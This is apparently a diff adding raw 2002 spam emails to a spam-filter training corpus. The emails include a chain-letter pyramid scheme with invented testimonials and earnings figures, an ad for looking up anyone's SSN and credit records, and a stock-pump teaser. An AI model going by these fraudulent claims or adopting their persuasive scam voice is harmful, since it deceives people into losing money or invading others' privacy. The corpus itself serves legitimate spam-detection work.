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yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 49AAC44142 + for ; Tue, 6 Aug 2002 05:57:10 -0400 (EDT) +Received: from mail.webnote.net [193.120.211.219] + by localhost with POP3 (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 10:57:12 +0100 (IST) +Received: from web.servicingweb.com (host066106.metrored.net.ar [200.49.66.106] (may be forged)) + by webnote.net (8.9.3/8.9.3) with ESMTP id WAA16142 + for ; Mon, 5 Aug 2002 22:07:16 +0100 +Message-Id: <200208052107.WAA16142@webnote.net> +Received: from email.cz (mail2.tradecentre.com.au [203.185.222.157]) by web.servicingweb.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) + id QKN25DRB; Mon, 5 Aug 2002 18:02:07 -0300 +To: +From: "They Saw" +Subject: be your own private eye online +Date: Mon, 05 Aug 2002 14:12:24 -1900 +MIME-Version: 1.0 +Content-Type: text/html; charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + + + + + + + + + +
    + + + + +
    +

    + + + + + + +
    +
    Internet + Investigator™ +
    +
    +

    + - New f= +or + 2002 -
    +     Internet + Software for Online Investigations

    + + + + +
    +
    Find + Out Anything about Anyone + Online
    +
    +
    + + + + +
    +
    Uncover + Information about:= + + en= +emies, + debtors, + neighbors, friends, employees, co-workers, your boss, yo= +urself, + associates, former school or military buddies, even a ne= +w love + interest.
    +
    +
    + + + + +
    +
    +

    Become + an Internet Investigator and explore an exciting new wor= +ld of + valuable information.

    +
    +

    +
    +
    With Internet Inves= +tigator™ + you can investig= +ate: +
    + + + + +
    +
    People, + credit + records, social security numbers, employment records, sc= +hool + records, criminal records, driving records, addresses, p= +hone + numbers (even some unlisted), hidden assets, family tree= +s + and + a whole lot more!
    +
    + <= +br> +
    + +
    +

     

    +


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    This message is a= + commercial + advertisement. It is in full compliance with all federal and sta= +te laws + regarding email advertising, including the California Business a= +nd Professions + Code. We have provided "opt out" email contact so you = +can + request to be taken off our mailing list. In addition we have pl= +aced + "Adv:" in the subject line to provide you with notific= +ation + in advance that this is a commercial advertisement. We do not wi= +sh to + send our advertising to anyone who does not wish to receive it. = +If you would rather not receive any further informati= +on from + us, please CLICK + to be taken off our list. In this way you can "opt-out"= +; from + the list your email address was obtained from, whether it was &q= +uot;opt-in" + or otherwise. Please allow 5-10 business days for your email add= +ress + to be processed and taken off all lists in our control= +. Meanwhile, + delete any duplicate emails that you may receive and rest assure= +d that + your request will be honored. If you have previously requested t= +o be + taken off this list and are still receiving this advertisement, = + + you may call us at 1-(888) 817-9902, or write to: Abuse Control = +Center, + 7657 Winnetka Ave., Suite 245, Canoga Park, CA 91306
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    + + + + diff --git a/bayes/spamham/spam_2/01308.c46f1215ccd8cedf162e0cf308b94dcd b/bayes/spamham/spam_2/01308.c46f1215ccd8cedf162e0cf308b94dcd new file mode 100644 index 0000000..0c82d60 --- /dev/null +++ b/bayes/spamham/spam_2/01308.c46f1215ccd8cedf162e0cf308b94dcd @@ -0,0 +1,489 @@ +From wysitinnovations@yahoo.com Tue Aug 6 20:57:44 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 33D07440A8 + for ; Tue, 6 Aug 2002 15:57:42 -0400 (EDT) +Received: from mail.webnote.net [193.120.211.219] + by localhost with POP3 (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 20:57:42 +0100 (IST) +Received: from unknown (12-246-1-214.client.attbi.com [12.246.1.214]) + by webnote.net (8.9.3/8.9.3) with SMTP id UAA20934 + for ; Tue, 6 Aug 2002 20:55:24 +0100 +From: +To: +Date: Tue, 6 Aug 2002 09:15:04 +Message-Id: <392.889584.429345@> +Subject: The last time you spent $25 did you make $100,000,s? Nows your Chance! +Mime-Version: 1.0 +Content-Type: text/plain; charset="us-ascii" +Content-Transfer-Encoding: 7bit + +Hello + +You may have seen this business before and +ignored it. I know I did - many times! However, +please take a few moments to read this letter. +I was amazed when the profit potential of this +business finally sunk in... and it works! + +With easy-to-use e-mail tools and opt-in e-mail, +success in this business is now fast, easy and +well within the capabilities of ordinary people +who know little about internet marketing. And the +earnings potential is truly staggering! + +I'll make you a promise. READ THIS E-MAIL TO THE END! - +follow what it says to the letter - and you will not +worry whether a RECESSION is coming or not, who is +President, or whether you keep your current job or not. +Yes, I know what you are thinking. I never responded +to one of these before either. One day though, +something just said: "You throw away $25.00 going to +a movie for 2 hours with your wife. What the heck." +Believe me, no matter where you believe those "feelings" +come from, I thank every day that I had that feeling. + +I cannot imagine where I would be or what I would be +doing had I not. Read on. It's true. Every word of it. +It is legal. I checked. Simply because you are buying +and selling something of value. + +AS SEEN ON NATIONAL TV: + +Making over half a million dollars every 4 to 5 +months from your home. + +THANKS TO THE COMPUTER AGE AND THE INTERNET! +================================================== +BE AN INTERNET MILLIONAIRE LIKE OTHERS WITHIN A YEAR!!! + +Before you say "Bull", please read the following. +This is the letter you have been hearing about on the +news lately. Due to the popularity of this letter on +the internet, a national weekly news program recently +devoted an entire show to the investigation of this +program described below, to see if it really can make +people money. The show also investigated whether or +not the program was legal. + +Their findings proved once and for all that there are "absolutely +NO laws prohibiting the participation in the program and if +people can 'follow the simple instructions' they are bound to +make some mega bucks with only $25 out of pocket cost". + +DUE TO THE RECENT INCREASE OF POPULARITY & RESPECT +THIS PROGRAM HAS ATTAINED, IT IS CURRENTLY WORKING +BETTER THAN EVER. + +This is what one had to say: "Thanks to this +profitable opportunity. I was approached many times +before but each time I passed on it. I am so glad +I finally joined just to see what one could expect +in return for the minimal effort and money required. +To my astonishment, I received a total $610,470.00 +in 21 weeks, with money still coming in." + +Pam Hedland, Fort Lee, New Jersey. +================================================== +Another said: "This program has been around for a +long time but I never believed in it. But one day +when I received this again in the mail I decided +to gamble my $25 on it. I followed the simple +instructions and walaa ..... 3 weeks later the +money started to come in. First month I only made +$240.00 but the next 2 months after that I made +a total of $290,000.00. So far, in the past 8 months +by re-entering the program, I have made over +$710,000.00 and I am playing it again. The key to +success in this program is to follow the simple +steps and NOT change anything." + +More testimonials later but first, ======= + +==== PRINT THIS NOW FOR YOUR FUTURE REFERENCE ==== +$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ + +If you would like to make at least $500,000 every +4 to 5 months easily and comfortably, please read the +following...THEN READ IT AGAIN and AGAIN!!! + +$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ + +FOLLOW THE SIMPLE INSTRUCTION BELOW AND +YOUR FINANCIAL DREAMS WILL COME TRUE, GUARANTEED! + +INSTRUCTIONS: + +=====Order all 5 reports shown on the list below ===== + +For each report, send $5 CASH, THE NAME & NUMBER OF THE +REPORT YOU ARE ORDERING and YOUR E-MAIL ADDRESS to the +person whose name appears ON THAT LIST next to the report. +MAKE SURE YOUR RETURN ADDRESS IS ON YOUR ENVELOPE TOP +LEFT CORNER in case of any mail problems. + +===WHEN YOU PLACE YOUR ORDER, MAKE SURE === +===YOU ORDER EACH OF THE 5 REPORTS! === +You will need all 5 reports so that you can save +them on your computer and resell them. +YOUR TOTAL COST $5 X 5 = $25.00. + +Within a few days you will receive, via e-mail, each +of the 5 reports from these 5 different individuals. +Save them on your computer so they will be accessible +for you to send to the 1,000's of people who will +order them from you. Also make a floppy of these +reports and keep it on your desk in case something +happens to your computer. + +IMPORTANT - DO NOT alter the names of the people who +are listed next to each report, or their sequence on +the list, in any way other than what is instructed +below in steps 1 through 6 or you will lose out +on the majority of your profits. Once you +understand the way this works, you will also +see how it will not work if you change it. + +Remember, this method has been tested, and if you +alter it, it will NOT work!!! People have tried +to put their friends'/relatives' names on all five +thinking they could get all the money. But it does +not work this way. Believe us, some have tried to +be greedy and then nothing happened. So Do Not +try to change anything other than what is instructed. +Because if you do, it will not work for you. +Remember, honesty reaps the reward!!! + +This IS a legitimate BUSINESS. You are offering a +product for sale and getting paid for it. Treat it +as such and you will be VERY profitable in a short +period of time. + +1.. After you have ordered all 5 reports, take this advertisement +and REMOVE the name & address of the person in REPORT # 5. This +person has made it through the cycle and is no doubt counting +their fortune. + +2.. Move the name & address in REPORT # 4 down TO REPORT # 5. + +3.. Move the name & address in REPORT # 3 down TO REPORT # 4. + +4.. Move the name & address in REPORT # 2 down TO REPORT # 3. + +5.. Move the name & address in REPORT # 1 down TO REPORT # 2 + +6.... Insert YOUR name & address in the REPORT # 1 Position. + +PLEASE MAKE SURE you copy every name & address +ACCURATELY! This is critical to YOUR success. + +================================================== +**** Take this entire letter, with the modified +list of names, and save it on your computer. +DO NOT MAKE ANY OTHER CHANGES. + +Save this on a disk as well just in case you lose +any data. To assist you with marketing your business +on the internet, the 5 reports you purchase will +provide you with invaluable marketing information +which includes how to send bulk e-mails legally, +where to find thousands of free classified ads and +much more. There are 2 primary methods to get this +venture going: + +METHOD # 1: BY SENDING BULK E-MAIL LEGALLY +================================================== + +Let's say that you decide to start small, just to see +how it goes, and we will assume you and those involved +send out only 5,000 e-mails each. Let's also assume +that the mailing receives only a 0.2% (2/10 of 1%) +response (the response could be much better but let's +just say it is only 0.2%). Also many people will send +out hundreds of thousands of e-mails instead of only +5,000 each. + +Continuing with this example, you send out only +5,000 e-mails. With a 0.2% response, that is only +10 orders for report # 1. Those 10 people responded +by sending out 5,000 e-mails each for a total of +50,000. Out of those 50,000 e-mails only 0.2% +responded with orders. That's 100 people who +responded and ordered Report # 2. + +Those 100 people mail out 5,000 e-mails each for +a total of 500,000 e-mails. The 0.2% response to +that is 1000 orders for Report # 3. + +Those 1000 people send 5,000 e-mails each for a +total of 5 million e-mails sent out. The 0.2% +response is 10,000 orders for Report # 4. + +Those 10,000 people send out 5,000 e-mails each +for a total of 50,000,000 (50 million) e-mails. +The 0.2% response to that is 100,000 orders for +Report # 5. + +THAT'S 100,000 ORDERS TIMES $5 EACH = $500,000.00 +(half a million dollars). + +Your total income in this example is: 1..... $50 ++ 2..... $500 + 3.....$5,000 + 4..... $50,000 ++ 5.... $500,000 .... Grand Total=$555,550.00 + +NUMBERS DO NOT LIE. GET A PENCIL & PAPER AND +FIGURE OUT THE WORST POSSIBLE RESPONSES AND NO +MATTER HOW YOU CALCULATE IT, YOU WILL STILL +MAKE A LOT OF MONEY! +================================================== + +REMEMBER FRIEND, THIS IS ASSUMING ONLY 10 PEOPLE +ORDERING OUT OF 5,000 YOU MAILED TO. Dare to think +for a moment what would happen if everyone or half +or even one 4th of those people mailed 100,000 +e-mails each or more? + +There are over 150 million people on the internet +worldwide and counting, with thousands more coming +online every day. Believe me, many people will do +just that, and more! + +METHOD # 2: BY PLACING FREE ADS ON THE INTERNET +================================================== + +Advertising on the net is very, very inexpensive and +there are hundreds of FREE places to advertise. +Placing a lot of free ads on the internet will +easily get a larger response. We strongly suggest +you start with Method # 1 and add METHOD # 2 as you +go along. For every $5 you receive, all you must +do is e-mail them the report they ordered. That's it. +Always provide same day service on all orders. + +This will guarantee that the e-mail they send out, +with your name and address on it, will be prompt +because they cannot advertise until they receive +the report. + +===========AVAILABLE REPORTS ==================== +The reason for the "cash" is not because this is +illegal or somehow "wrong". It is simply about time. +Time for checks or credit cards to be cleared or +approved, etc. Concealing it is simply so no one +can SEE there is money in the envelope and steal +it before it gets to you. + +ORDER EACH REPORT BY ITS NUMBER & NAME ONLY. +Notes: Always send $5 cash (U.S. CURRENCY) for +each report. Checks NOT accepted. Make sure the +cash is concealed by wrapping it in at least +2 sheets of paper. On one of those sheets of +paper, write the NUMBER & the NAME of the report +you are ordering, YOUR E-MAIL ADDRESS and your +name and postal address. + +PLACE YOUR ORDER FOR THESE REPORTS NOW : + + ================================================== +REPORT # 1: "The Insider's Guide To Advertising +for Free On The Net" + +Order Report #: 1 from +Rui Sousa Santos +P.O. Box 132 +Taylors Lakes VIC 3038 +Australia + +______________________________________________________ + +REPORT # 2: "The Insider's Guide To Sending Bulk +Email On The Net" + +Order Report # 2 from: +Richard Moulton +P.O. Box 82 +Hot Springs,MT 59845 +USA + +______________________________________________________ + +REPORT # 3: "Secret To Multilevel Marketing On The Net" + +Order Report # 3 from: +J.Siden +krondikesvdgen 54 A +83147 Vstersund +Sweden + +______________________________________________________ + +REPORT # 4: "How To Become A Millionaire Using MLM & The Net" + +Order Report # 4 from: +Francis Kidd +P.O. Box 209 +Homestead,PA 15120 +USA + + +______________________________________________________ + +REPORT # 5: "How To Send Out One Million Emails For Free" + +Order Report # 5 From: +J. Johns +P.O. Box 277806 +Sacramento, CA 95827 +USA + + ______________________________________________________ + +$$$$$$$$$ YOUR SUCCESS GUIDELINES $$$$$$$$$$$ + +Follow these guidelines to guarantee your success: + +=== If you do not receive at least 10 orders for +Report #1 within 2 weeks, continue sending e-mails +until you do. + +=== After you have received 10 orders, 2 to 3 weeks +after that you should receive 100 orders or more for +REPORT # 2. If you do not, continue advertising or +sending e-mails until you do. + +** Once you have received 100 or more orders for +Report # 2, YOU CAN RELAX, because the system is +already working for you, and the cash will continue +to roll in ! THIS IS IMPORTANT TO REMEMBER: Every time +your name is moved down on the list, you are placed +in front of a different report. + +You can KEEP TRACK of your PROGRESS by watching which +report people are ordering from you. IF YOU WANT TO +GENERATE MORE INCOME SEND ANOTHER BATCH OF E-MAILS +AND START THE WHOLE PROCESS AGAIN. There is NO LIMIT +to the income you can generate from this business !!! +================================================= +FOLLOWING IS A NOTE FROM THE ORIGINATOR OF THIS PROGRAM: +You have just received information that can give you +financial freedom for the rest of your life, with +NO RISK and JUST A LITTLE BIT OF EFFORT. You can +make more money in the next few weeks and months +than you have ever imagined. Follow the program +EXACTLY AS INSTRUCTED. Do Not change it in any way. +It works exceedingly well as it is now. + +Remember to e-mail a copy of this exciting report +after you have put your name and address in +Report #1 and moved others to #2 .....# 5 as +instructed above. One of the people you send this +to may send out 100,000 or more e-mails and your +name will be on every one of them. + +Remember though, the more you send out the more +potential customers you will reach. So my friend, +I have given you the ideas, information, materials +and opportunity to become financially independent. + +IT IS UP TO YOU NOW ! + +=============MORE TESTIMONIALS=============== +"My name is Mitchell. My wife, Jody and I live in +Chicago. I am an accountant with a major U.S. +Corporation and I make pretty good money. When I +received this program I grumbled to Jody about +receiving 'junk mail'. I made fun of the whole +thing, spouting my knowledge of the population +and percentages involved. I 'knew' it wouldn't work. +Jody totally ignored my supposed intelligence and +few days later she jumped in with both feet. I made +merciless fun of her, and was ready to lay the old +'I told you so' on her when the thing didn't work. + +Well, the laugh was on me! Within 3 weeks she had +received 50 responses. Within the next 45 days she +had received total $ 147,200.00 ......... all cash! +I was shocked. I have joined Jody in her 'hobby'." + +Mitchell Wolf M.D., Chicago, Illinois +================================================ +"Not being the gambling type, it took me several +weeks to make up my mind to participate in this plan. +But conservative as I am, I decided that the initial +investment was so little that there was just no way +that I wouldn't get enough orders to at least get +my money back. I was surprised when I found my +medium size post office box crammed with orders. +I made $319,210.00 in the first 12 weeks. + +The nice thing about this deal is that it does not +matter where people live. There simply isn't a +better investment with a faster return and so big." + +Dan Sondstrom, Alberta, Canada +================================================= +"I had received this program before. I deleted it, +but later I wondered if I should have given it a try. +Of course, I had no idea who to contact to get +another copy, so I had to wait until I was e-mailed +again by someone else......... 11 months passed then +it luckily came again...... I did not delete this one! +I made more than $490,000 on my first try and all the +money came within 22 weeks." + +Susan De Suza, New York, N.Y. +================================================= +"It really is a great opportunity to make relatively +easy money with little cost to you. I followed the +simple instructions carefully and within 10 days the +money started to come in. My first month I made $20, +in the 2nd month I made $560.00 and by the end of the +third month my total cash count was $362,840.00. +Life is beautiful, Thanx to internet." + +Fred Dellaca, Westport, New Zealand +================================================= + +ORDER YOUR REPORTS TODAY AND GET STARTED ON YOUR +ROAD TO FINANCIAL FREEDOM ! + +================================================= +If you have any questions of the legality of this +program, contact the Office of Associate Director +for Marketing Practices, Federal Trade Commission, +Bureau of Consumer Protection, Washington, D.C. + +Anti-SPAM Policy Disclaimer: Under Bill s.1618 +Title III passed by the 105th U. S. Congress, +mail cannot be considered spam as long as we +include contact information and a remove link for +removal from this mailing list. If this e-mail is +unsolicited, please accept our apologies. +Per the proposed H.R. 3113 Unsolicited Commercial +Electronic Mail Act of 2000, further transmissions +to you by the sender may be stopped at NO COST to you! + +This message is not intended for residents in the +State of Washington, Virginia or California, +screening of addresses has been done to the best +of our technical ability. + +This is a one time mailing and this list will +never be used again. + +To be removed from the mailing list reply to +this message with "REMOVE ME" as the subject. + + + + + + + + + + + + + diff --git a/bayes/spamham/spam_2/01309.4da3e5f7445fe71bdb9a145b3c704cc3 b/bayes/spamham/spam_2/01309.4da3e5f7445fe71bdb9a145b3c704cc3 new file mode 100644 index 0000000..4cbc7d5 --- /dev/null +++ b/bayes/spamham/spam_2/01309.4da3e5f7445fe71bdb9a145b3c704cc3 @@ -0,0 +1,88 @@ +From sitescooper-talk-admin@lists.sourceforge.net Tue Aug 6 14:01:00 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id EBE44441D6 + for ; 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On certain occasions, they come to us with = +intriguing insights of certain aspects of the market that have caught their = +attention. + +As you know our track record speaks for itself we are happy to bring you = +another situation with HUGE upside potential we think this could be the one = +that when we look back shortly everyone will be saying I should have more. + +For more info CLICK HERE!!! + +Remember: Nothing Ventured, Nothing Gained + + +------=_NextPart_2554534503687811774 +Content-Type: text/html; + charset=iso-8859-1 +Content-Transfer-Encoding: quoted-printable + + + + + + + + + + + +
    + + +Dear Reader:

    +We sometimes approach our analysts for their thoughts on emerging market = +sectors we're interested in. On certain occasions, they come to us with = +intriguing insights of certain aspects of the market that have caught their = +attention.

    + +As you know our track record speaks for itself we are happy to bring you = +another situation with HUGE upside potential we think this could be the one = +that when we look back shortly everyone will be saying I should have more.= +

    + +For more info CLICK HERE!!!

    + +Remember: Nothing Ventured, Nothing Gained

    + +     + +
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    + + + +rvacyp5et57mqkysfellajuu6zz9qyynqe5syfk5ew0rhqcyrd1qz80lheklem47idcz + + + + + + + diff --git a/bayes/spamham/spam_2/01312.c19bb76293853f6c10871018cebbe8ca b/bayes/spamham/spam_2/01312.c19bb76293853f6c10871018cebbe8ca new file mode 100644 index 0000000..4998d9d --- /dev/null +++ b/bayes/spamham/spam_2/01312.c19bb76293853f6c10871018cebbe8ca @@ -0,0 +1,50 @@ +From hgjfutiokf@msn.com Tue Aug 6 11:05:38 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 19BF64414A + for ; Tue, 6 Aug 2002 05:57:19 -0400 (EDT) +Received: from mail.webnote.net [193.120.211.219] + by localhost with POP3 (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 10:57:19 +0100 (IST) +Received: from s4.smtp.oleane.net (s4.smtp.oleane.net [195.25.12.14]) + by webnote.net (8.9.3/8.9.3) with ESMTP id FAA16690; + Tue, 6 Aug 2002 05:30:03 +0100 +Received: from MAILHOST.tsa-telecom.fr (mailhost.tsa-telecom.fr [62.161.35.52]) + by s4.smtp.oleane.net with ESMTP id g764RAUU012545; + Tue, 6 Aug 2002 06:27:32 +0200 (CEST) +Received: from smtp-gw-4.msn.com (dns1.gvideopro.com [200.56.119.33]) by MAILHOST.tsa-telecom.fr with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0) + id 3X1NFRYJ; Tue, 6 Aug 2002 05:13:09 +0200 +Message-ID: <0000360207c8$0000590f$00000036@smtp-gw-4.msn.com> +To: +From: "Luz Spradlin" +Subject: Re: Money Issues YGR +Date: Mon, 05 Aug 2002 21:51:32 -1700 +MIME-Version: 1.0 +Content-Type: text/html; charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + +

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    yP5a9D3t= +sJ53xfOCWG6of1WjWsoNNKiGArhp91FSrRRbNKrTeyXhNoOQkOiRqs8qyfVkPFQGKNf= + + + + diff --git a/bayes/spamham/spam_2/01313.7deec268aedb7c5618e27bd73a803a60 b/bayes/spamham/spam_2/01313.7deec268aedb7c5618e27bd73a803a60 new file mode 100644 index 0000000..4b39283 --- /dev/null +++ b/bayes/spamham/spam_2/01313.7deec268aedb7c5618e27bd73a803a60 @@ -0,0 +1,144 @@ +From reply@seekercenter.net Fri Aug 9 13:00:04 2002 +Return-Path: yyyy +Delivery-Date: Tue Aug 6 16:48:54 2002 +Return-Path: +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 16:48:54 +0100 (IST) +Received: from XXXXXX ([211.101.236.162]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g76Fmek07579 for + ; Tue, 6 Aug 2002 16:48:41 +0100 +Message-Id: <200208061548.g76Fmek07579@dogma.slashnull.org> +From: "Vanessa Lintner" +Subject: I have visited WWW.TAINT.ORG and noticed that ... +To: yyyy-latestdodgydotcomstock@spamassassin.taint.org +Sender: Vanessa Lintner +Reply-To: "Vanessa Lintner" +Date: Tue, 6 Aug 2002 23:51:01 +0800 +X-Priority: 3 +X-Library: Business Promotion +Content-Type: text/html; + + +BAD MSG: + +PAM: -------------------- Start SpamAssassin results ---------------------- +SPAM: This mail is probably spam. The original message has been altered +SPAM: so you can recognise or block similar unwanted mail in future. +SPAM: See http://spamassassin.org/tag/ for more details. +SPAM: +SPAM: Content analysis details: (9.9 hits, 5 required) +SPAM: SEARCH_ENGINE_PROMO (2.6 points) BODY: Discusses search engine listings +SPAM: HTML_50_70 (1.0 points) BODY: Message is 50-70% HTML tags +SPAM: REALLY_UNSAFE_JAVASCRIPT (3.3 points) BODY: Auto-executing JavaScript code +SPAM: SUPERLONG_LINE (0.4 points) BODY: Contains a line >=199 characters long +SPAM: CTYPE_JUST_HTML (1.7 points) HTML-only mail, with no text version +SPAM: PRIORITY_NO_NAME (1.0 points) Message has priority setting, but no X-Mailer +SPAM: MSG_ID_ADDED_BY_MTA_3 (0.2 points) 'Message-Id' was added by a relay (3) +SPAM: AWL (-0.3 points) AWL: Auto-whitelist adjustment +SPAM: + + + + + + + + + + + + + + + +
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    + + + diff --git a/bayes/spamham/spam_2/01314.12c8b5b91bc690f0f0d6fad595150ac6 b/bayes/spamham/spam_2/01314.12c8b5b91bc690f0f0d6fad595150ac6 new file mode 100644 index 0000000..901fc6b --- /dev/null +++ b/bayes/spamham/spam_2/01314.12c8b5b91bc690f0f0d6fad595150ac6 @@ -0,0 +1,78 @@ +From apec-tech@totalise.co.uk Tue Aug 6 18:15:42 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id C202E440A8 + for ; Tue, 6 Aug 2002 13:15:41 -0400 (EDT) +Received: from mail.webnote.net [193.120.211.219] + by localhost with POP3 (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 18:15:41 +0100 (IST) +Received: from smtp.easydns.com (smtp.easydns.com [205.210.42.30]) + by webnote.net (8.9.3/8.9.3) with ESMTP id SAA20046 + for ; Tue, 6 Aug 2002 18:13:37 +0100 +Received: from totalise.co.uk (dial-80-47-1-95.access.uk.tiscali.com [80.47.1.95]) + by smtp.easydns.com (Postfix) with SMTP id C19032BC85 + for ; Tue, 6 Aug 2002 13:13:25 -0400 (EDT) +From: "keith" +To: +Subject: YOUR POWER SUPPLY IS KILLING YOUR ELECTRICAL EQUIPMENT +Sender: "keith" +Mime-Version: 1.0 +Content-Type: text/plain; charset="ISO-8859-1" +Date: Tue, 6 Aug 2002 18:15:25 +0100 +Reply-To: "keith" +Message-Id: <20020806171325.C19032BC85@smtp.easydns.com> +Content-Transfer-Encoding: 8bit + +Did you know that………??? + +Fact: Every electrical system suffers from power surges? + +Fact: 80% of electrical equipment damage is caused by surges - also known +as 'spikes'. These spikes can damage sensitive electronics in computers +to heavy industrial motors. + +Fact: These spikes or surges hit your electrical circuits up to 400,000 +times per hour. Your electrical equipment is being gradually and +sometimes suddenly destroyed. + +Fact: OUR RANGE OF SURGE ARRESTORS will reduce your operating costs +dramatically by extending the life of all your electrical and electronic +equipment. + +Motors run cooler, your fluorescent lighting life is doubled. Your +equipment works more efficiently and your energy costs fall. + +Fact: THE SAVINGS you make in electrical consumption, electrical repairs, +electronic repair, telephone and data systems protection and lighting +replacements can cover the cost of installing our surge and lightning +arrestors. + +Even more importantly no sudden, dramatic system failure caused by + lightning, surges and spikes. + +Now you know…………!! + +Don't let your power supply kill your business! + +Email me for more information. I look forward to hearing from you. + +My very best to you. + +Ray Butler +Email: apec-tech@totalise.co.uk + +P.S. Don't underestimate the high level of risk and costs you're your +business is suffering from in replacement costs, down time and customer +dissatisfaction. + +APEC-TECH.COM +The Frieslawn Centre, Hodsoll Street, Sevenoaks, Kent. TN15 7 LH United +Kingdom +Tel UK: 01732 824401 Fax UK: 01732 824455 + +Email Office: apec-tech@totalise.co.uk + +To be removed from our mailing list please reply with the word REMOVE in +the subject line and please accept our apologies for troubling you. + diff --git a/bayes/spamham/spam_2/01315.88a113666f60469492624820111ee3be b/bayes/spamham/spam_2/01315.88a113666f60469492624820111ee3be new file mode 100644 index 0000000..9b331a2 --- /dev/null +++ b/bayes/spamham/spam_2/01315.88a113666f60469492624820111ee3be @@ -0,0 +1,61 @@ +From gina3@freemail.nl Tue Aug 6 18:31:59 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id CB3C8440A8 + for ; Tue, 6 Aug 2002 13:31:59 -0400 (EDT) +Received: from mail.webnote.net [193.120.211.219] + by localhost with POP3 (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 18:31:59 +0100 (IST) +Received: from smtp.easydns.com (smtp.easydns.com [205.210.42.30]) + by webnote.net (8.9.3/8.9.3) with ESMTP id SAA20101; + Tue, 6 Aug 2002 18:29:47 +0100 +From: gina3@freemail.nl +Received: from freemail.nl (12-233-198-104.client.attbi.com [12.233.198.104]) + by smtp.easydns.com (Postfix) with SMTP + id 5992B2E929; Tue, 6 Aug 2002 13:27:55 -0400 (EDT) +Reply-To: +Message-ID: <008b57b16dbe$7875a2b1$2ad00ca6@yibikl> +To: byrt5@hotmail.com +Subject: hello +MiME-Version: 1.0 +Content-Type: text/plain; + charset="iso-8859-1" +X-Priority: 3 (Normal) +X-MSMail-Priority: Normal +X-Mailer: Internet Mail Service (5.5.2650.21) +Importance: Normal +Date: Tue, 6 Aug 2002 13:27:55 -0400 (EDT) +Content-Transfer-Encoding: 8bit + +WE NEED HELP. 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    + +Click Here If you wish to be removed from future mailings + + + + + diff --git a/bayes/spamham/spam_2/01326.32e7912cae22a40e7b27f7d020de08fe b/bayes/spamham/spam_2/01326.32e7912cae22a40e7b27f7d020de08fe new file mode 100644 index 0000000..c008751 --- /dev/null +++ b/bayes/spamham/spam_2/01326.32e7912cae22a40e7b27f7d020de08fe @@ -0,0 +1,741 @@ +From fork-admin@xent.com Wed Aug 7 04:33:41 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 201FC440CD + for ; Tue, 6 Aug 2002 23:33:37 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 07 Aug 2002 04:33:37 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g773TUk07889 for ; + Wed, 7 Aug 2002 04:29:37 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 848AE294099; Tue, 6 Aug 2002 20:26:04 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from mailface.roving.com (mailface.roving.com [63.251.135.75]) + by xent.com (Postfix) with ESMTP id 707C8294098 for ; + Tue, 6 Aug 2002 20:25:55 -0700 (PDT) +Received: from tracking2 (tracking2.roving.com [10.20.40.142]) by + mailface.roving.com (Postfix) with ESMTP id AB18E3409A for ; + Tue, 6 Aug 2002 23:24:00 -0400 (EDT) +Message-Id: <1245954529.1028690797672.JavaMail.wasadmin@tracking2> +From: PHIL SWANN +Reply-To: swann@TVPredictions.com +To: fork@spamassassin.taint.org +Subject: Special Report! TiVo: Now or Never? +MIME-Version: 1.0 +X-Roving-Queued: 20020806 23:26.37657 +X-Mailer: Roving Constant Contact 5.0.Patch146.P121_Trellix_07_26_02 + (http://www.constantcontact.com) +X-Roving-Id: 1011005088243 +X-Return-Path-Hint: ESC1011005088243_1011005006660@in.roving.com +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Tue, 6 Aug 2002 23:24:00 -0400 (EDT) +Content-Type: multipart/alternative; boundary="----=_Part_1210763_-1358544416.1028690797657" + +------=_Part_1210763_-1358544416.1028690797657 +Content-Type: text/plain; charset=iso-8859-1 +Content-Transfer-Encoding: 7bit + +TVPredictions.com Newsletter (August 7, 2002) +The #1 Newsletter on the Future of TV + +Hi Everyone, + +First of all, I want to welcome those
    +subscribers who are getting this newsletter
